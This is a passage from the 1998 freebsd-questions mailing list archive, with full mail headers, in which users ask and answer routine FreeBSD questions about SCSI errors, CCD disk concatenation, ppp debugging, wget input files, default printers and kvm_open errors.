norway.it.earthlink.net (8.8.7/8.8.5) with ESMTP id CAA22271; Wed, 8 Apr 1998 02:38:50 -0700 (PDT) X-Sender: brandon@209.0.75.3 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 8 Apr 1998 02:38:26 -0700 To: freebsd-questions@FreeBSD.ORG From: Brandon Huey Subject: bad controller or disk? Cc: bh@epigram.com Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've been seeing these errors infrequently, but often before a crash. > > > Apr 6 17:41:18 pippin /kernel: ahc0: Issued Channel A Bus Reset. 2 SCBs >aborted > Apr 6 17:41:18 pippin /kernel: sd0(ahc0:0:0): UNIT ATTENTION >csi:ff,ff,ff,ff asc:29,2 > Apr 6 17:41:19 pippin /kernel: , retries:4 > Apr 6 17:41:19 pippin /kernel: sd1(ahc0:1:0): UNIT ATTENTION asc:29,0 > Apr 6 17:41:19 pippin /kernel: sd1(ahc0:1:0): Power on, reset, or bus >device reset occurred field replaceable unit: 2 > Apr 6 17:41:19 pippin /kernel: , retries:3 I don't know whether to suspect the controller or the disk. Can anyone explain this better? Thanks, -bh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:41:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA00791 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:41:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA00783 for ; Wed, 8 Apr 1998 02:41:03 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id KAA03558; Wed, 8 Apr 1998 10:40:53 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: <352B461D.9C76F180@tdx.co.uk> Date: Wed, 08 Apr 1998 10:40:45 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: Greg Lehey CC: questions@FreeBSD.ORG Subject: Re: CCD's - real concatenation? References: <352B4193.8A6E52CA@tdx.co.uk> <19980408190617.06524@freebie.lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg Lehey wrote: > You *should* be able to configure disks this way if you don't > interleave. I haven't tried it, but I have looked through the source > code. It looks as if you can even specify interleave > 1 with unequal > partions, but in this case it truncates all the partitions to the size > of the smallest, definitely not what you want. I'd agree with that - considering it would chop everything down to the lowest common denominator... ;-) > vinum can do partial mirroring and true concatenation of unequal size > partitions. It can't interleave unequal sized partitions. I consider > it a bug, not a feature, than CCD should allow this. I'll agree with that as well... ;-) > > Or whether you can CCD' an allready CCD'd array? > > I still think this is a bad idea. Yes, your probably right - though it would be a handy way of concatenating two unequal CCD arrays into one big virtual drive... ;-) Regards, Karl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:45:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA01344 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:45:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell.futuresouth.com (shell.futuresouth.com [198.78.58.18]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA01337 for ; Wed, 8 Apr 1998 02:45:15 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from shell.futuresouth.com (mail.futuresouth.com [198.78.58.19]) by shell.futuresouth.com (8.8.8/8.8.8) with SMTP id EAA01699; Wed, 8 Apr 1998 04:45:09 -0500 (CDT) Date: Wed, 8 Apr 1998 04:45:08 -0500 (CDT) From: "Matthew D. Fuller" To: Doug White cc: "Anthony E. Coley" , "questions@FreeBSD.ORG" Subject: Re: saving screen output? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Doug White wrote: > On Tue, 7 Apr 1998, Anthony E. Coley wrote: > > > Can someone point me in the right direction to find out how to > > capture screen output, > > (error messages and such). I would like to be able to capture them > > so I can get help > > on some error messages that I periodically get. > > It's easy if you're using X Windows, but if you're using the console you > will want to set up moused to do X style copy-n-paste. You can do it with output redirection, such as (in tcsh): > & log.file But the easier way to do it is using script. You run script, and it starts up a shell, you do what you have to do, then exit the shell, and everything that you do and you see while in that shell get copied into the file typescript. Wow, that sounds complicated... Just try it, and it'll make sense. *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * "The only reason I'm burning my candle at both ends, is * | that I haven't figured out how to light the middle yet."| * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:47:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA02078 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:47:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA02020 for ; Wed, 8 Apr 1998 02:47:49 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id TAA14073; Wed, 8 Apr 1998 19:17:45 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id TAA13881; Wed, 8 Apr 1998 19:17:45 +0930 (CST) (envelope-from grog) Message-ID: <19980408191744.31356@freebie.lemis.com> Date: Wed, 8 Apr 1998 19:17:44 +0930 From: Greg Lehey To: Karl Pielorz Cc: questions@FreeBSD.ORG Subject: Re: CCD's - real concatenation? References: <352B4193.8A6E52CA@tdx.co.uk> <19980408190617.06524@freebie.lemis.com> <352B461D.9C76F180@tdx.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352B461D.9C76F180@tdx.co.uk>; from Karl Pielorz on Wed, Apr 08, 1998 at 10:40:45AM +0100 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 April 1998 at 10:40:45 +0100, Karl Pielorz wrote: > Greg Lehey wrote: > >> You *should* be able to configure disks this way if you don't >> interleave. I haven't tried it, but I have looked through the source >> code. It looks as if you can even specify interleave > 1 with unequal >> partions, but in this case it truncates all the partitions to the size >> of the smallest, definitely not what you want. > > I'd agree with that - considering it would chop everything down to the > lowest common denominator... ;-) > >> vinum can do partial mirroring and true concatenation of unequal size >> partitions. It can't interleave unequal sized partitions. I consider >> it a bug, not a feature, than CCD should allow this. > > I'll agree with that as well... ;-) > >>> Or whether you can CCD' an allready CCD'd array? >> >> I still think this is a bad idea. > > Yes, your probably right - though it would be a handy way of concatenating > two unequal CCD arrays into one big virtual drive... ;-) You don't need this kind of trick to do that. There are a lot of issues with memory allocation involved with running layers like CCD. For example, you can hang your system running swap on a CCD device. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 02:58:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA04453 for freebsd-questions-outgoing; Wed, 8 Apr 1998 02:58:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from int-gw.blueberry.co.uk (int-gw.blueberry.co.uk [195.153.48.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA04443 for ; Wed, 8 Apr 1998 02:58:35 -0700 (PDT) (envelope-from keith@blueberry.co.uk) Received: from intranet.internal.blueberry.co.uk (intranet.internal.blueberry.co.uk [10.0.0.2]) by int-gw.blueberry.co.uk (8.8.8/8.8.8) with ESMTP id LAA26623 for ; Wed, 8 Apr 1998 11:00:23 +0100 (BST) (envelope-from keith@blueberry.co.uk) Received: (from keith@localhost) by intranet.internal.blueberry.co.uk (8.8.8/8.8.8) id LAA04964; Wed, 8 Apr 1998 11:02:01 +0100 (BST) (envelope-from keith) Message-ID: <19980408110201.12354@blueberry.co.uk> Date: Wed, 8 Apr 1998 11:02:01 +0100 From: Keith Jones To: questions@FreeBSD.ORG Subject: igmp(4) manpage missing? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i Organization: Blueberry New Media Ltd. Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear all The igmp(4) man page appears to be missing - I have checked in /usr/share/man/cat4, /usr/share/man/man4 and /usr/src/share/man/man4, on three different FreeBSD (2.2.6-STABLE) boxes. Is something eating my machines' manpages, or is it absent because the manpage doesn't actually exist? Keith -- v Keith Jones Systems Manager, Blueberry New Media Ltd. v | Postal Mail: 2/10 Harbour Yard, Chelsea Harbour, LONDON, UK. SW10 0XD | | Telephone: +44 (0)171 351 3313 Fax: +44 (0)171 351 2476 | ^ Email: Keith.Jones@blueberry.co.uk WWW: http://www.blueberry.co.uk/ ^ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 03:06:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA05710 for freebsd-questions-outgoing; Wed, 8 Apr 1998 03:06:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA05704 for ; Wed, 8 Apr 1998 03:06:46 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id FAA13964; Wed, 8 Apr 1998 05:06:35 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id FAA10429; Wed, 8 Apr 1998 05:06:33 -0500 (CDT) To: service@casecom.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Pentium II and large RAM support? References: <352B2169.3F47@casecom.com> From: sfarrell+lists@farrell.org Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 08 Apr 1998 05:06:33 -0500 In-Reply-To: service's message of "Wed, 08 Apr 1998 00:04:09 -0700" Message-ID: <87sonok4pi.fsf@phaedrus.uchicago.edu> Lines: 14 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG service writes: > I have installed FreeBSD 2.2.2 on my Pentium II with 128MB memory. > But after the FreeBSD boot up, the system detect my PC as > > Pentium Pro and 66MB memory. This was fixed in 2.2.5 -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 03:08:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA06167 for freebsd-questions-outgoing; Wed, 8 Apr 1998 03:08:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mx1.polbox.com (mx1.polbox.com [195.116.5.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA06152 for ; Wed, 8 Apr 1998 03:08:33 -0700 (PDT) (envelope-from sbns@polbox.com) Received: from smtp.polbox.com (ppp4-212.warszawa.tpnet.pl [195.205.246.212]) by mx1.polbox.com (8.8.8/rev-A0) with SMTP id MAA01678 for ; Wed, 8 Apr 1998 12:16:06 +0200 Date: Wed, 8 Apr 1998 12:03:52 +0100 From: "Zdzislaw A. Kaleta" X-Mailer: The Bat! (v1.00 Build 1328) UNREG Reply-To: "Zdzislaw A. Kaleta" Organization: SBNS Ltd. Message-ID: <12502.980408@polbox.com> To: "freebsd-questions@freebsd.org" Subject: file in wget Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello Freebsd-questions, I use file input in wget. How I can put in the file two or three URLs and then comment them some way that wget will use only one of them. I tried # and : in front of lines but it don't work. Best regards, Zdzislaw mailto:sbns@polbox.com ----- [ REKLAMA / ADVERTISEMENT ] ---------------------------------------- Lubisz film?! Wiec na co czekasz? Przylacz sie do FILMWEBU! Pierwszy Polski Serwis Filmowy w Internecie http://www.filmweb.pl -------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 03:19:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA07525 for freebsd-questions-outgoing; Wed, 8 Apr 1998 03:19:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailhost.tue.nl (mailhost.tue.nl [131.155.2.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA07520 for ; Wed, 8 Apr 1998 03:18:56 -0700 (PDT) (envelope-from J.G.E.Backus@tue.nl) Received: from asterix.urc.tue.nl [131.155.5.10] by mailhost.tue.nl (8.8.8) for id MAA25899 (ESMTP). Wed, 8 Apr 1998 12:17:48 +0200 (MET DST) Received: from jbackus@localhost by asterix.urc.tue.nl (8.8.8) id MAA17839. Wed, 8 Apr 1998 12:17:47 +0200 (MDT) Message-ID: <19980408121747.E7361@asterix.urc.tue.nl> Date: Wed, 8 Apr 1998 12:17:47 +0200 From: Jos Backus To: "freebsd-questions@freebsd.org" Subject: Re: file in wget Mail-Followup-To: "freebsd-questions@freebsd.org" References: <12502.980408@polbox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.90.9 In-Reply-To: <12502.980408@polbox.com>; from Zdzislaw A. Kaleta on Wed, Apr 08, 1998 at 12:03:52PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Apr 08, 1998 at 12:03:52PM +0100, Zdzislaw A. Kaleta wrote: > I use file input in wget. How I can put in the file two or three URLs > and then comment them some way that wget will use only one of them. I > tried # and : in front of lines but it don't work. I must be missing something here, but... why are you putting these lines in the file if you don't really want them there to begin with? Confused, -- Jos Backus _/ _/_/_/ "Reliability means never _/ _/ _/ having to say you're sorry." _/ _/_/_/ -- D. J. Bernstein _/ _/ _/ _/ jbackus@urc.tue.nl _/_/ _/_/_/ use Std::Disclaimer; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 04:02:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA10876 for freebsd-questions-outgoing; Wed, 8 Apr 1998 04:02:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA10858 for ; Wed, 8 Apr 1998 04:02:02 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node44.mpc.com.br [200.246.0.44]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id IAA06561; Wed, 8 Apr 1998 08:01:33 -0300 (EST) Message-Id: <3.0.32.19980408195559.00ba36f0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 19:56:36 -0300 To: Doug White , "Michael P. Sale" From: Capriotti Subject: Re: newbie ppp question. Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 12:08 AM 4/8/98 -0700, Doug White wrote: >On Tue, 7 Apr 1998, Michael P. Sale wrote: > >> ppp ON freebsd> I suspect ppp or pap is failing somewhere, but won't know >> for shure untill I get in touch with the NAS/radius guy toomorrow. Does >> anyone know of a way to go into a debug mode to watch the negotiation? > >Take a look in ppp.conf.sample and the totally abusive `set log' command. >If you're using it, then /var/log/ppp.log will be huge :-) > >Mine looks like: > >set log Phase Chat Connect Carrier hdlc LCP IPCP CCP tun > Additionaly, check your modem initialization string. It is VERY sensitive, ad any typo or extra characters may interfere. Check out ppp.conf.sample (/etc/ppp) One more thing: call ppp using ppp -alias impulse You may also want to check for your login script. It seems it is not logging in. After calling ppp the sequence would be: ppp ON brain> dial Dial attempt 1 of 10 Phone: 2345678 dial OK! login OK! ppp ON brain> Packet mode. ppp ON brain> PPP ON brain> After "login ok", the "Packet mode" is automatic. Next you will receive 2 empty prompts, which is also automatic. Voila ! you're connected. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 04:23:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA15349 for freebsd-questions-outgoing; Wed, 8 Apr 1998 04:23:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ilink.nis.za (ilink.nis.za [196.6.121.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id EAA15340 for ; Wed, 8 Apr 1998 04:23:34 -0700 (PDT) (envelope-from sknight@ilink.nis.za) Received: from ppp-ct2-49.nis.za [196.28.5.176] by ilink.nis.za with smtp (Exim 1.73 #2) id 0yMswx-0000EA-00; Wed, 8 Apr 1998 13:23:28 +0200 From: "Stephen Knight" To: Subject: Questions . . . Again ! Date: Wed, 8 Apr 1998 01:26:29 +0200 Message-ID: <01bd627c$98b7efe0$LocalHost@stephen> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000E_01BD628D.5C40BFE0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000E_01BD628D.5C40BFE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi there again... One of the things that I use my PC for is fax and voice software on Win = 95. I use BitWare software. If I install FreeBSD, is there equivalent software that I am able to = download that will have these services and functions? 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Hi there = again...
 
One of the things that I use my PC for = is fax and=20 voice software on Win 95.
 
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If I install FreeBSD, is there = equivalent software=20 that I am able to download that will have these services and=20 functions?
 
Thanking you
 
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Tel : +27-21-761 = 6825
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------=_NextPart_000_000E_01BD628D.5C40BFE0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 04:28:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA15937 for freebsd-questions-outgoing; Wed, 8 Apr 1998 04:28:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from zerium.newmedia.no (root@[194.234.251.103]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA15932 for ; Wed, 8 Apr 1998 04:28:25 -0700 (PDT) (envelope-from hanspb@persbraten.vgs.no) Received: from localhost (hanspbie@localhost) by zerium.newmedia.no (8.8.8/8.8.8) with SMTP id MAA15882; Wed, 8 Apr 1998 12:22:31 +0200 (CEST) (envelope-from hanspb@persbraten.vgs.no) X-Authentication-Warning: zerium.newmedia.no: hanspbie owned process doing -bs Date: Wed, 8 Apr 1998 12:22:20 +0200 (CEST) From: Hans Petter Bieker X-Sender: hanspbie@zerium.newmedia.no To: Gunnar Flygt cc: "freebsd-questions@FreeBSD.ORG" Subject: Re: Default printer In-Reply-To: <352B29C0.F906A7B6@sr.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Gunnar Flygt wrote: > I must be blind or something, since I cannot find how to make my network > printer the default instead of the one attached to lpt1. Guide me, > please! >From printcap(5): The default printer is normally lp, though the environment variabl PRINTER may be used to override this. Each spooling utility supports an option, -P printer, to allow explicit naming of a destination printer. -bieker- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 04:29:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA16344 for freebsd-questions-outgoing; Wed, 8 Apr 1998 04:29:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from second.dialup.access.net (lsmarso.dialup.access.net [166.84.254.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA16312; Wed, 8 Apr 1998 04:29:14 -0700 (PDT) (envelope-from larry@marso.com) Received: (from larry@localhost) by second.dialup.access.net (8.8.8/8.8.8) id HAA01031; Wed, 8 Apr 1998 07:28:32 -0400 (EDT) (envelope-from larry) Message-ID: <19980408072827.50306@marso.com> Date: Wed, 8 Apr 1998 07:28:27 -0400 From: "Larry S. Marso" To: freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: kvm_open: proc size mismatch (22712 total, 664 chunks) Mail-Followup-To: freebsd-questions@freebsd.org, freebsd-current@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i x-no-archive: yes Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I refreshed my current installation with a "minimal" binary install. Now I'm getting errors like this: kvm_open: proc size mismatch (22712 total, 664 chunks) top: Out of memory. when I run top, and the certain virtual terminals just freeze up. Any suggestions? Best regards -- Larry S. Marso larry@marso.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 04:32:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA17274 for freebsd-questions-outgoing; Wed, 8 Apr 1998 04:32:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from caladan.tdx.co.uk (caladan.tdx.co.uk [195.188.177.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA17239; Wed, 8 Apr 1998 04:32:01 -0700 (PDT) (envelope-from kpielorz@tdx.co.uk) Received: from tdx.co.uk (lorca-tx.tdx.co.uk [195.188.177.242]) by caladan.tdx.co.uk (8.8.8/8.8.8) with ESMTP id MAA03977; Wed, 8 Apr 1998 12:31:51 +0100 (BST) (envelope-from kpielorz@tdx.co.uk) Message-ID: <352B601F.33F01747@tdx.co.uk> Date: Wed, 08 Apr 1998 12:31:43 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: "Larry S. Marso" CC: freebsd-questions@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: kvm_open: proc size mismatch (22712 total, 664 chunks) References: <19980408072827.50306@marso.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is the 'binary' install you did compatible with the kernel your running? - i.e. if you install the binaries from 2.2.6-RELEASE you need to be running a 2.2.6-RELEASE kernel ideally... Regards, Karl Larry S. Marso wrote: > > I refreshed my current installation with a "minimal" binary install. > > Now I'm getting errors like this: > > kvm_open: proc size mismatch (22712 total, 664 chunks) > top: Out of memory. > > when I run top, and the certain virtual terminals just freeze up. Any > suggestions? > > Best regards > -- > Larry S. Marso > larry@marso.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 05:13:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA23638 for freebsd-questions-outgoing; Wed, 8 Apr 1998 05:13:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alcatel.fr (news.alcatel.fr [194.133.58.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA23628 for ; Wed, 8 Apr 1998 05:13:38 -0700 (PDT) (envelope-from THIERRY.HERBELOT@telspace.alcatel.fr) From: THIERRY.HERBELOT@telspace.alcatel.fr Received: from alcatel.fr (gatekeeper-ssn.alcatel.fr [155.132.180.244]) by mailgate.alcatel.fr (ALCANET/SMTP.9.9.9) with ESMTP id OAA06737; Wed, 8 Apr 1998 14:17:13 +0200 Received: from aifhs1.alcatel.fr (aifhs1.alcatel.fr [155.132.180.86]) by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id OAA20277; Wed, 8 Apr 1998 14:08:32 +0200 (MET DST) Received: from aifhs2.alcatel.fr (localhost [127.0.0.1]) by aifhs1.alcatel.fr (8.8.8/8.8.8) with ESMTP id OAA23429; Wed, 8 Apr 1998 14:10:33 +0200 (MET DST) Received: from lune.telspace.alcatel.fr (lune.telspace.alcatel.fr [155.132.144.65]) by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id OAA20254; Wed, 8 Apr 1998 14:08:29 +0200 (MET DST) Received: from telss1 (telss1.telspace.alcatel.fr [155.132.51.4]) by lune.telspace.alcatel.fr (8.7.6/8.7.3) with SMTP id LAA10049; Wed, 8 Apr 1998 11:15:53 +0200 (MET DST) Received: from eole.telspace.alcatel.fr by telss1 (4.1/SMI-4.1) id AA17959; Wed, 8 Apr 98 11:06:14 +0200 Received: from localhost by eole.telspace.alcatel.fr with SMTP (1.40.112.12/16.2) id AA122816225; Wed, 8 Apr 1998 11:03:45 +0200 X-Openmail-Hops: 1 Date: Wed, 8 Apr 98 11:03:26 +0200 Message-Id: In-Reply-To: <352B29C0.F906A7B6@sr.se> Subject: =?ISO-8859-1?Q?R=E9p_:_Default_printer?= Mime-Version: 1.0 To: flygt@sr.se Cc: freebsd-questions@FreeBSD.ORG Content-Type: text/plain; charset=ISO-8859-1; name="Default" Content-Disposition: inline; filename="Default" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id FAA23632 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG under csh : (in your .login) setenv PRINTER many programs print to the printer designated by your PRINTER environment variable. ____________________________ Séparateur Réponse ________________________________ Objet : Default printer Auteur : flygt@sr.se Date : 08/04/98 09:39 I must be blind or something, since I cannot find how to make my network printer the default instead of the one attached to lpt1. Guide me, please! -- mvh, Gunnar epost: gunnar@pluto.sr.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 05:32:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA27129 for freebsd-questions-outgoing; Wed, 8 Apr 1998 05:32:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bigbrother ([206.29.49.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id FAA27111 for ; Wed, 8 Apr 1998 05:32:02 -0700 (PDT) (envelope-from vshah@rstcorp.com) Received: (from uucp@localhost) by bigbrother (8.6.12/8.6.9) id JAA00337; Wed, 8 Apr 1998 09:21:12 -0400 Received: from fault.rstcorp.com(206.29.49.18) by bigbrother.rstcorp.com via smap (V2.0) id xma000329; Wed, 8 Apr 98 09:20:20 -0400 Received: (from vshah@localhost) by rstcorp.com (8.8.1/8.8.1) id IAA06597; Wed, 8 Apr 1998 08:29:52 -0400 (EDT) Date: Wed, 8 Apr 1998 08:29:52 -0400 (EDT) Message-Id: <199804081229.IAA06597@rstcorp.com> From: "Viren R. Shah" To: Doug White Cc: Dave Marquardt , freebsd-questions@FreeBSD.ORG Subject: Re: Modems. In-Reply-To: References: <85hg45c7ev.fsf@localhost.zilker.net> X-Mailer: VM 6.40 under 19.16 "Lille" XEmacs Lucid Reply-To: "Viren R. Shah" X-Face: 